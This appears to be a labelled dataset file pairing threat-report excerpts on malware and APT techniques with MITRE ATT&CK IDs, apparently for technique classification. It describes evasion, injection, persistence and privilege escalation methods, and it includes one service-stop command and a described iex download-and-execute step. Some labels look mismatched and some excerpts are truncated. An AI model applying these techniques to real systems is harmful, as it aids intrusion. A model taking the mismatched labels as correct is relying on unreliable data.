+"From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. This domain was not only used to send the phishing e-mails, but also to track which targets opened the e-mail. Within each of the HTML-formatted messages, an embedded image tag is used to beacon home to the attacker's domain, containing an unique identifier specific to the recipient. While the use of e-mail recipient tracking, a linked RTF document, and a final payload (QuasarRAT variant) remained the same, certain elements differed across campaigns observed. Exploitation and Malware Execution . Upon opening the above attachments, the recipient will be presented with a document that is a direct copy of a blog post or report released by the think tank organization being impersonated. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The Patchwork threat actors also appear to have adopted a technique seen from other APT groups where they are now tracking the effectiveness of their campaigns by recording which recipients have opened the phishing message. Contact . Connect . This Website uses cookies, which are necessary to its functioning and required to achieve the purposes illustrated in our Cookie Policy"	['T1566.002']
+The malware launches another thread that scans for new drives attached to the system every three seconds. If a new drive is attached to the system and is not identified as a type CDROM drive, the malware begins the encryption process on the new drive. On new drives attached to the system, the malware may create the directory <Drive_letter>:\$RECYCLE and execute the following command	['T1120']
+Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy	['T1112']
+SUNSPOT appends an entry in the log file with the date and time of the backdoor attempt and waits for the MsBuild.exe process to exit before restoring the original source code and deleting the temporary InventoryManager.bk file. If the Orion solution build is successful, it is backdoored with SUNBURST	['T1070.004']
+TA505 uses fast flux, a DNS technique used to mask botnets by quickly shifting among compromised hosts, which allows cybercriminals to delay or evade detection. The domains the group has been using to distribute payloads were usually resolved across a lot of IPs	['T1568.001']
+In at least one instance of EnvyScout delivery, we observed further enumeration of the executing browser’s environment, wherein the user-agent was used to determine whether a Windows machine received an ISO payload. If the visitor arrived via iOS, they were redirected to external infrastructure	['T1082']
+Based on our technical analysis, telemetry, and data from submissions, we can assert with high confidence that this is the work of the Hidden Cobra group. These initial findings appear to be the first stage of Operation GhostSecret. For more on the global aspect of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure of Entertainment, Finance, Health Care, and Other Industries	['T1573.001']
+Enumerate all CLRs loaded in the AD FS process Microsoft.IdentityServer.ServiceHost.exe - For each CLR, enumerate all running application domains and perform the following actions for each domain: Read the contents of the following encrypted FoggyWeb backdoor file into memory: C:\Windows\SystemResources\Windows.Data.TimeZones\pris\Windows.Data.TimeZones.zh-PH.pri Decrypt the encrypted FoggyWeb backdoor file using the Lightweight Encryption Algorithm (LEA). The LEA-128 key schedule uses the following hardcoded master key to generate the round keys: - Read the contents of the following encrypted FoggyWeb backdoor file into memory: C:\Windows\SystemResources\Windows.Data.TimeZones\pris\Windows.Data.TimeZones.zh-PH.pri - Decrypt the encrypted FoggyWeb backdoor file using the Lightweight Encryption Algorithm (LEA). The LEA-128 key schedule uses the following hardcoded master key to generate the round keys	['T1140']
+Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not	['T1553.002']
+That persistence is achieved by adding a new task in the task scheduler – it deploys the malicious sample after every minute, to ensure that it keeps running	['T1053.005']
+To further confuse anti-malware solutions, the loader contains the entire unobfuscated code of a legitimate open source application called Blink (https://github.com/crosire/blink), which never gets executed	['T1027.001']
+The Calisto installation file is an unsigned DMG image under the guise of Intego’s security solution for Mac	['T1036.005']
+The software installed on the compromised computer is of particular interest. Which programs are installed on the system. Which of them are executed automatically at each system start or user logon. Which programs are used by a particular user. If the attackers are interested, they are only one command away from these valuable data	['T1518']
+The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords	['T1083']
+Finally, Grandoreiro detects two virtual environments – VMWare via its special I/O port and Virtual PC via the vpcext instruction	['T1497.001']
+The attacker’s choice of IP addresses was also optimized to evade detection. The attacker primarily used only IP addresses originating from the same country as the victim, leveraging Virtual Private Servers	['T1036']
+SUNSPOT is StellarParticle’s malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product. SUNSPOT monitors running processes for those involved in compilation of the Orion product and replaces one of the source files to include the SUNBURST backdoor code. Several safeguards were added to SUNSPOT to avoid the Orion builds from failing, potentially alerting developers to the adversary’s presence	['T1195.002']
+When the newer service variant of BitPaymer is run, it first determines if it is being executed from an alternate data stream. If it is not executed from an alternate data stream, the malware creates a file in the %APPDATA% folder with a random file name between three and eight characters long, containing uppercase and lowercase letters as well as numbers. It then copies itself to the alternate data stream :bin of the newly created file and creates a new process from the stream	['T1564.004']
+Flame appears to have two modules designed for infecting USB sticks, called “Autorun Infector” and “Euphoria”. We haven’t seen them in action yet, maybe due to the fact that Flame appears to be disabled in the configuration data. Nevertheless, the ability to infect USB sticks exists in the code, and it’s using two methods	['T1091']
+The modules are signed by an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited” with serial numbers, copied from real Tencent certificates	['T1036.001']
+Capable of stealing documents sent to the printer queue. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies. If deleted from Frontend file or related registry values, it will reappear after reboot with a new name and startup type	['T1025']
+Recall that when the malicious code is executed, it invokes the extract_ei function on its own binary image, to check if the file is infected. If so, it opens itself, and reads the trailer to get the offset of where the file’s original bytes are located. It then writes these bytes out to a new file named: .<orginalfilename>1. This file is then set executable (via chmod) and executed (via execl	['T1554']
+Next, the shellcode iterates through the PEB’s loader module list looking for the base address of Kernel32.dll. This is typical of shellcode, as the Kernel32.dll base address is necessary to resolve any dependency files required by the shellcode to run. With this address, the shellcode loads its dependency modules and resolves any necessary Windows Application Programming Interface (API) calls using standard shellcode API hashing. The following modules are loaded	['T1106']
+"Receive a file path from the C2 for a file to read. The target file is read and then split into smaller files named ""<target_filename>.part_<part_number>"" and stored on disk. This capability can be used to break large files of interest into smaller chunks to prepare them for exfiltration"	['T1030']
+This introduction of string obfuscation also suggests a development change aimed at evading detection. The header codes, filename references, and all of the operator commands were obfuscated and only decoded during execution of the KeyBoy DLL. Figure 6 shows a sampling of these strings, after decoding	['T1027']
+"The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS. The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains ""VIRTUAL"", ""VMWARE"" or ""VirtualBox"". The fourth technique checks the Processor ID of the system. The WMI request simply replies ""not supported"". This behaviour can be used to detect if the targeted system is a real machine. The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine. The variant version of GX is used in the URI"	['T1497.001']
+COBALT DICKENS uses publicly available tools, including the SingleFile plugin available on GitHub and the free HTTrack Website Copier standalone application, to copy the login pages of targeted university resources. Metadata in a spoofed login page created on August 1 suggests that COBALT DICKENS sometimes uses older copied versions of target websites. A comment left in the source code indicates it was originally copied on May 1, 2017 (see Figure 3). However, the university was targeted by numerous COBALT DICKENS operations, including the August 2018 and August 2019 campaigns	['T1588.002']
+NOBELIUM, with existing administrative permissions, was observed to drop a malicious loader named version.dll in the %WinDir%\ADFS\ folder where the AD FS service executable Microsoft.IdentityServer.ServiceHost.exe is located. Once the system or the AD FS service is restarted, Microsoft.IdentityServer.ServiceHost.exe loads mscoree.dll, which in turn loads mscoreei.dll. As mentioned above, mscoreei.dll has a delay load import named version.dll	['T1574.001']
+In recent BitPaymer IR engagements, Falcon Intelligence linked the initial infection vector to fake updates for a FlashPlayer plugin and the Chrome web browser. These fake updates are served via legitimate websites that have been compromised, and use social engineering to trick users into downloading and running a malicious executable. These fake update campaigns appear to be a pay-per-install service that is simply used by INDRIK SPIDER to deliver its malware, as other malware has also been delivered via the same campaigns	['T1036.005', 'T1584.004']
+"One of the reconnaissance commands was to run a modified nbtscan tool (""NetBIOS nameserver scanner"") to identify available NetBIOS name servers locally or over the network. Nbtscan has been used by APT10 in Operation Cloud Hopper to search for services of interest across the IT estate and footprint endpoints of interest. It is also capable of identifying system information"	['T1016', 'T1018']
+The attacker used a temporary file replacement technique to remotely execute utilities: they replaced a legitimate utility with theirs, executed their payload, and then restored the legitimate original file. They similarly manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returning the scheduled task to its original configuration. They routinely removed their tools, including removing backdoors once legitimate remote access was achieved	['T1070.004', 'T1070', 'T1053.005']
+Modifying the Standard Information timestamps (created, modified, accessed) of every downloaded executable to match a randomly selected file from the System32 directory that was created prior to 2013	['T1070.006']
+1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. 3) After the attackers successfully exploited the employee’s system, they gained access to the e-commerce company's internal network. To do this the attackers used a signed credential-dumping tool to obtain the victim's account credentials. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 4) On April 27, the attackers scanned the corporate internal network for hosts with ports 8080, 5900, and 40 open. Ports 8080 and 5900 are common ports used with legitimate protocols, but can be abused by attackers when they are not secured. Based on Suckfly scanning for common ports, it’s clear that the group was looking to expand its foothold on the e-commerce company's internal network. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure. While we know that the attackers used the Nidiran back door to steal information about the compromised organization, we do not know if Suckfly was successful in stealing other information	['T1078']
+After these strings are decrypted, the malware will load a series of Microsoft Windows API calls to be used later on. After these functions are loaded, Comnie determines if it is running within the %TEMP% directory of the victim machine. In the event it is not running within this directory, it will copy itself to %TEMP% and execute this newly created file with an argument of the original file’s path. A total of 64MB of garbage data is appended to this copied file, likely as a way to deter any security products in place that may be scanning files on disk. After running within the %TEMP% path, Comnie will delete the original file. After Comnie has been copied to the %TEMP% directory, it will look for the presence of the ‘DQuit.tmp’ file in this path. It is unclear how this file is used exactly, as it does not appear to ever be written during runtime by Comnie. Comnie continue to enter its installation routine. In doing so, it will attempt to detect the following Anti-Virus products via various techniques	['T1027.001']
+This list of strings differs from previously analyzed SofacyCarberp samples, such as the variant discussed in our June 2016 blog “New Sofacy Attacks Against US Government Agency“ that chose from a list of strings .xml, .pdf, .htm or .zip. After establishing that the system has Internet access, the Trojan will gather detailed system information and send it to the C2 server	['T1082']
+In April, security researchers in the Microsoft Threat Intelligence Center discovered infrastructure of a known adversary communicating to several external devices. Further research uncovered attempts by the actor to compromise popular IoT devices (a VOIP phone, an office printer, and a video decoder) across multiple customer locations. The investigation uncovered that an actor had used these devices to gain initial access to corporate networks. In two of the cases, the passwords for the devices were deployed without changing the default manufacturer’s passwords and in the third instance the latest security update had not been applied to the device	['T1078']
+When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. Note: a file transfer is not necessary for a loss of credential information. Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. 1](link is external	['T1187']
+Otherwise, the malware bypasses UAC and escalates privileges with two different approaches – one for Windows 10 and the other for older versions	['T1548.002']
+The logging functions are hooked so that whenever the backdoor is used, nothing gets sent to the logging facility, leaving no trace of the backdoor in the log files on disk. If the backdoor is not in use, logging will behave normally and function calls will get redirected to the original function implementation	['T1562.006']
+The second part of API hooking hooks on “GetExtendedTcpTable. GetExtendedTcpTable” is used for retrieving a table that contains a list of TCP endpoints available to the application, and it is frequently used in some network-related commands, such as netstat. The purpose of the hook is to remove TCP endpoint records of certain PIDs. The second function, “GetRTTAndHopCount,” acts as the place to put the injected hooking code	['T1049']
+The output of the downloaded batch file is saved to “%PUBLIC%\Libraries\tp\<batch filename>.txt”. The script will then upload the output of this batch file by including the data in a sequence of DNS queries. The exfiltrates the output of the batch script by splitting up the data within the text file into chunks up to 23 bytes and sends the data within a series of DNS queries that have the following structure	['T1030']
+Installs UnionCryptoTrader in folder /Applications/UnionCryptoTrader.app/Contents/MacOS/ - Installs .unioncryptoupdater in folder /Applications/UnionCryptoTrader.app/Contents/Resources/ Note: the leading “.” makes it unlisted in the Finder app or default Terminal directory listing - Note: the leading “.” makes it unlisted in the Finder app or default Terminal directory listing - Executes a postinstall script Moves .vip.unioncrypto.plist to folder LaunchDaemons Changes the file permissions on the plist to Root Runs unioncryptoupdater Moves .unioncryptoupdater to folder /Library/UnionCrypto/unioncryptoupdater Makes .unioncryptoupdater executable - Moves .vip.unioncrypto.plist to folder LaunchDaemons - Changes the file permissions on the plist to Root - Runs unioncryptoupdater - Moves .unioncryptoupdater to folder /Library/UnionCrypto/unioncryptoupdater - Makes .unioncryptoupdater executable	['T1564.001']
+It uses GetlogicalDrives to get a bitmask of all the drives available on the system, then iterates over each possible drive letter	['T1082']
+Ryuk does not encrypt files from within its own process memory space, but injects into a remote process. Before injecting into a remote process, Ryuk attempts to adjust its token privileges to have the SeDebugPrivilege. Before injecting into a remote process, Ryuk also calls CreateToolhelp32Snapshot to enumerate all running processes. If a process is found that is not named csrss.exe, explorer.exe, lsaas.exe, or is running under NT AUTHORITY system account, Ryuk will inject itself into this single process. By ensuring that the process is not running under NT AUTHORITY, the developers are assuming the process is not running under another account and therefore can be written to. Ryuk uses a combination of VirtualAlloc, WriteProcessMemory and CreateRemoteThread to inject itself into the remote process	['T1055']
+"Next, the third-stage DLL will load the ""Waqybg"" resource into memory. As the resource is stored in reverse byte order, the third-stage DLL will restore it by reversing the bytes and then proceed to decompress it. The decompressed data is the fourth stage wiper payload. After decompressing the data, the third-stage DLL copies a legitimate Windows utility ""InstallUtil.exe"" into the %TEMP% directory, creates a suspended process with it and injects the fourth-stage wiper into the process. Finally, it resumes the process and transfers the execution flow to the fourth-stage wiper. Creates InstallUtil.exe process"	['T1055']
+Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. This technique takes advantage of the fact that Windows does not require an application to provide a specific path for a DLL that it wishes to load. If no path is provided, Windows searches for the DLL in specific locations on the computer in a pre-defined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges	['T1036.005']
+The malware’s next action is to check if the execute privilege is SYSTEM. When the execute privilege is SYSTEM, the malware will get the process “Explorer.exe”, get the token of the user that launched the process and impersonate it. It is a downgrade from SYSTEM to another user with less privileges to avoid affecting the desktop of the SYSTEM user later	['T1134.001']
+The threat actors commonly created web shells on the intended targets’ publicly accessible email and web servers. The threat actors used three different filenames (“global.aspx, autodiscover.aspx and index.aspx) for two different webshells	['T1505.003']
+Currently LockerGoga does not support any worm-like capabilities that would allow it to self-propagate by infecting additional hosts on a target network. We have observed LockerGoga moving around a network via the server message block (SMB) protocol, which indicates the actors simply manually copy files from computer to computer	['T1570']
+Finally, command line tried to execute (iex is an alias for Invoke-Expression) the code downloaded from the IP address 104[.]168[.]237[.]21. Threat actors abused sslip.io for connection to C&C - a service that provides free IP to domain mapping to make SSL certificate generation easier for traffic encryption. While this service is legitimate and widely used, the malware abused it in an attempt at evading detection when connecting to C&C servers	['T1102']
+If the payload determines it is not running in a sandbox, it will attempt to install itself to the system to persistently execute	['T1547.009']
+"With the file written to the system, the Trojan calls the ""GetishideAbById"" SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window. This request is followed by a call to ""GetisrunasAbById"" to determine if the Trojan should use ""runas"" to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click"	['T1564.003']
+Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. There are several variations of the algorithm used to calculate the C2 port, but one of the most common is to multiply the first two octets of the IP address and add the third octet to that value. This is typically represented as: (A * B) + C – common values might be 200.2.43.X, which would result in communication on port 443. Numbered Panda will frequently use blogs or WordPress in the c2 infrastructure, which helps to make the network traffic look more legitimate. CrowdStrike has observed Numbered Panda targeting high-tech, defense contractors, media organizations, and western governments	['T1568.003']
+Appending a file signature header to all encrypted data, prior to upload or download, by randomly selecting from the file types	['T1027']
+Figure 5 shows the splash image displayed by the Enigma protector prior to executing the malicious payload, which is a wallpaper image available at wallpaperswide.com. The splash screen feature acts as a sandbox evasion technique, as it requires user interaction in the form of clicking the screen before the malicious code runs	['T1497.002']
+Conti uses a multithreading technique to fast encrypt all the files. This routine takes seconds to just a few minutes depending on the number of files on the machine. Each sample has a unique extension that the malware adds to the encrypted files. While using Cybereason with prevention mode off to allow investigation of the ransomware execution, it is possible to see the encryption activity and the creation of new files	['T1486']
+Besides of fetching a list of scanning targets, Xbash will also request C2 server via URI “/p” to fetch a list of weak passwords for brute forcing	['T1110.001']
+Some versions of the Orz backdoor have 32- and 64-bit embedded DLLs, stored internally as base64 strings. Their purpose is to simply run another binary. These are used as loaders for future executable payloads, using the well-known process hollowing technique. To use the MockDll, the backdoor creates a configuration .ini file like that shown in Figure 14	['T1055.012', 'T1218.010']
+The shellcode loader was observed on one infected device as updater.exe with the Metasploit-style service name APTYnDS1ABEuUHEA, indicating that it was installed as a service	['T1553.002']
+From one of the hosts, we discovered that the actor executed a credential harvesting tool named Responder and moved laterally using Windows commands. Lazarus overcame network segmentation, exfiltrating data from a completely isolated network segment cut off from the internet by compromising a router virtual machine, as we explain below under “Overcoming network segmentation	['T1557.001']
+"1) If the malware was executed with the ""install"" command-line argument, which uses .NET Framwork’s InstallHelper method to install the malware as a service. 3) If no arguments are provided and the malware determines it is running in a Windows environment, it saves a DLL to the system that it injects into the explorer.exe process. The injected DLL executable loads the malware’s executable and runs it within memory of the explorer.exe process"	['T1055.001']
+This static set of characteristics, combined with the minimal use of obfuscation in their phishing attacks, may benefit organizations that are potential targets for IRON TILDEN.ToolsTaegis™ XDR Adversary Software Coverage Tool	['T1221']
+Browser credential stealing: Capability to steal credentials (username and password) from the installed browsers, Microsoft Internet Explorer (MSIE), and Google Chrome browser. Figures 7 and 8 show the code sections responsible for stealing the credentials from MSIE and Chrome browser respectively	['T1555.003']
+The malware then grants itself debugging privileges by modifying its security token to add SeDebugPrivilege. This step is a prerequisite for the remainder of SUNSPOT’s execution, which involves reading other processes’ memory	['T1134']
+Interestingly, there is an option in the RC2CL module to turn off its backdoor functionality and act as a proxy. In this case, the malware turns off the Windows firewall and creates a server that relays communication between a client and C&C server, or between two clients	['T1090.001']
+The legitimate application is a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations. When the Kaspersky application is run, it loads a file named msi.dll, which is located within the same directory. The XOR-decode process, which skips zeroes, uses the single-byte key 0x88	['T1574.002']
+In this attack, spear phishing was used as the initial infection vector. Before launching the attack, the group studied publicly available information about the targeted organization and identified email addresses belonging to various departments of the company	['T1589.002']
+In order to avoid raising suspicions from the victim, CSPY Downloader exploits a known UAC bypass technique that uses the SilentCleanup task to execute the binary with elevated privileges	['T1548.002']
+If the ransomware is not executed with administrator rights or if the infected host runs Windows Vista or later, it will attempt to elevate its privileges. In short, WastedLocker uses a well-documented UAC bypass method [1] [2]. It chooses a random file (EXE/DLL) from the Windows system32 folder and copies it to the %APPDATA% location under a different hidden filename. Next, it creates an alternate data stream (ADS) into the file named bin and copies the ransomware into it. WastedLocker then copies winsat.exe and winmm.dll into a newly created folder located in the Windows temporary folder	['T1564.001']
+A service that ensures Carbon’s persistency is created. Its name can either be “srservice”, “ipvpn” or “hkmsvc” depending of the operating system version running on the compromised machine	['T1543.003']
+After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe). As a result, the malicious print process is loaded when the spooler service starts. Note that the Print Spooler service starts at each PC startup, which ensures persistence across system resets	['T1543.003']
+After patching, the threat actor can use the Skeleton Key password configured at the time of deployment to log in as any domain user. Legitimate users can still log in using their own passwords	['T1556.001']
+Create a Safe Array and copy the decrypted FoggyWeb backdoor bytes to the array. It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost. Create a Safe Array and copy the decrypted FoggyWeb backdoor bytes to the array. It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost	['T1129']
+In the first path, obtaining the SAML signing certificate normally entails first querying the private encryption key that resides on the AD FS container and then using that key to decrypt the signing certificate. The certificate can then be used to create illicit but valid SAML tokens that allow the actor to impersonate users, enabling them to access enterprise cloud applications and services	['T1552.004', 'T1550']
+The websites contain numerous articles and content to make them seem legitimate; in some cases the websites have over 10,000 individual news articles. Volexity has found the content is largely scraped and reposted in full from various other legitimate online news outlets. This appears to be done in an automated fashion and most likely through WordPress plugins. Numerous posted articles and images can be directly tracked back to other online blogs and newspapers; sometimes the byline or even watermark in images show directly where the article was sourced. In some cases, only a small number of pages on the site contains malicious code; in other cases, the profiling code is pervasive	['T1608.004']
+Checking for specific keyboards and languages is a known evasion tactic meant to avoid running on analysis systems not configured, as the actor’s targeted victim would be configured	['T1614.001']
+MSTIC has observed NICKEL drop their malware into existing installed software paths. They did this to make their malware appear to be files used for an installed application. The following are example paths	['T1036.005']
+If the bot is running with a regular user privilege, persistence is established using the registry “Run” method. The loader DLL component is written to “%APPDATA%\mswinload[.]dll” and a “mswinload” value is added to the “Run” key to execute ordinal #1 of the DLL with rundll32[.]exe	['T1547.001']
+In order to deploy an implant for the final payload, ScarCruft uses a multi-stage binary infection scheme. As a rule, the initial dropper is created by the infection procedure. One of the most notable functions of the initial dropper is to bypass Windows UAC (User Account Control) in order to execute the next payload with higher privileges. Afterwards, the installer malware creates a downloader and a configuration file from its resource and executes it. The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload. In order to evade network level detection, the downloader uses steganography. The downloaded payload is an image file, but it contains an appended malicious payload to be decrypted	['T1548.002']
+Bisonal main module The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication that other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years. Adding to the change in encryption type, a large part of the code such as network communication procedures, and the persistence method have been re-written. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2	['T1573.001']
+At the end of the encryption process, Pay2Key will also terminate the MS SQL service using the following command net stop mssqlserver > nul in order to release the files locked by the service	['T1489']
+As a previous write-up on H1N1 by Arbort Networks describes, the LINK command in this instance results in H1N1 downloading and executing a file from a remotely hosted URL using WinINet HTTP requests. The loader also has the functionality of downloading and executing a base64 encoded file contained in the response from the command and control server via the FILE command	['T1105']
+PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability Microsoft Internet Information Services (IIS) 6.0 to compromise the victim’s server. This is another way for them to establish a new C&C or HTTP server	['T1190']
+The Trojan does not encrypt the data sent via DNS beacons, rather it converts the ASCII characters into their hexadecimal values and includes these values in cleartext. The DNS beacons sent from the Helminth executable have the following structure, which is very similar to the script version	['T1132.001']
+In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours	['T1053.005']
+Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc	['T1053.005']
+The Conti Ransomware uses AES-256 encryption via a hard-coded public key. The unique factor is the use of multiple threads for the encryption process, which allows faster encryption as compared to other ransomwares. The ransomware uses a CreateIoCompletionPort() call to create 32 thread instances which work simultaneously to encrypt files. After encryption, the ransomware adds extension to all the encrypted files. It can be seen in the image below	['T1486']
+Over a few days' span, the threat actors install remote access tools on additional systems based upon the results of the network reconnaissance. They use At.exe to schedule tasks to run self-extracting RAR archives, which install either HttpBrowser or PlugX. CTU researchers observed the threat actors collecting Cisco VPN profiles to use when accessing the victim's network via VPN (see Figure 13	['T1053.002', 'T1133']
+The organizational backup server was among the first targeted. When Ryuk was detected and stopped on the backup server, the attackers used the icacls command to modify access control, giving them full control of all the system folders on the server	['T1222.001']
+This thread searches for for files with the following extensions on fixed drives and sends them to C2 every 60 minutes	['T1020']
+The delivery document uses the XLSX extension typically used by OpenXML documents, but the file itself is actually an OLE (XLS) document. The file extension to file type discrepancy was caused by the actor using Excel's built-in encryption capability, which stores XLSX ciphertext and the information needed for decryption in an OLE document	['T1221']
+We identified new MSIL components deployed by Zebrocy. While recent Zebrocy versioning was 7.1, some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0. For example, one sent out to a handful of countries identifies network drives when they are added to target systems, and then RC4-like-encrypts and writes certain file metadata and contents to a local path for later exfiltration. The stealer searches for files 60mb and less with these extensions	['T1083']
+Earlier versions of UPPERCUT used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. However, in the latest version, the keys are hard-coded uniquely for each C2 address and use the C2’s calculated MD5 hash to determine which key to use, as shown in Figure 10	['T1573.001']
+With this approach, the luring message shown in the Figure 2 now serves another purpose. Not only does it lure the victim into enabling the macros, but it also is assigned an alternate text: “fkwarning”, as seen in Figure 5. The macro has code to check this attribute to make sure the luring message shape object is present. If this object is not found, the macro will exit without downloading additional payloads	['T1497']
+That new instance of RegAsm.exe is then responsible for handling the brunt of the malicious activity (data harvesting, exfiltration). We can also see frequent use of ‘Process Hollowing’ as an injection method. Process Hollowing allows for the creation or manipulation of processes through which sections of memory are unmapped (hollowed) with that space then being reallocated with the desired malicious code	['T1055.012']
+To deploy the file injector, the instrumentor downloads additional payloads to be injected into a benign process	['T1055.012']
+The program copies itself as <Hangul full path>HncReporter.exe and changes the default program association in the registry to open HWP documents. To do so, it alters following registry values	['T1546.001']
+Another tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g. hxxps://185[.]225[.]69[.]69/) and logs the HTTP response to a plaintext log file (e.g. loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file	['T1119']
+Another interesting technique this malware uses is Visual Studio’s Resource Manager. This is a feature built into Visual Studio that allows one to attach basically any file to the original binary and get a pointer to its data with a few simple API calls. Siloscape uses this method to write the Tor archive to the disk, as well as the unzip binary used to open the archive. It also uses Tor to securely connect to its C2	['T1140']
+The source code of SUNBURST was likely sanitized before being included in SUNSPOT. The use of generic variable names, pre-obfuscated strings, and the lack of developer comments or disabled code is similar to what could be obtained after decompiling a backdoored Orion binary, as illustrated in Figure 2, which provides a comparison between the injected source code (top) and a decompilation output (bottom	['T1027.005']
+Ebury sequentially tries the generated domain names until it finds one that has a TXT record set by the operator. To verify the ownership of the domain, Ebury checks whether the TXT record can be decrypted using an RSA public key embedded in its code	['T1140']
+The first backdoor that the TeleBots group relied heavily on was Python/TeleBot.A, which was rewritten from Python in the Rust programming language. The functionality remains the same: it is a standard backdoor that uses the Telegram Bot API in order to receive commands from, and send responses to, the malware operator	['T1102.002']
+After the extensive validation described above, the backdoor enters its main execution stage. At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information. The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc. effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary	['T1112']
+Get.exe appears to be a custom tool used to scan IP-ranges for HTTP service information. NCC Group and Fox-IT decompiled the tool for analysis. This showed the tool was written in the Python scripting language and packed into a Windows executable file. Though Fox-IT didn’t find any direct occurrences of the tool on the internet, the decompiled code showed strong similarities with the source code of a tool named GetHttpsInfo. GetHttpsInfo scans the internal network for HTTP & HTTPS services. The reconnaissance tool getHttpsInfo is able to discover HTTP servers within the range of a network	['T1046']
+In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. Once opened, Excel will retrieve whatever object is at the URL inside the file. These files have most recently been found in use by criminals to deliver commodity RATs such as Flawed Ammyy. In DarkHydrus's case, the preferred payload retrieved in their previous attacks were exclusively open-source legitimate tools which they abuse for malicious purposes, such as Meterpreter and Cobalt Strike. However, in this instance, it appears that this group used a custom PowerShell based payload that we call RogueRobin	['T1566.001']
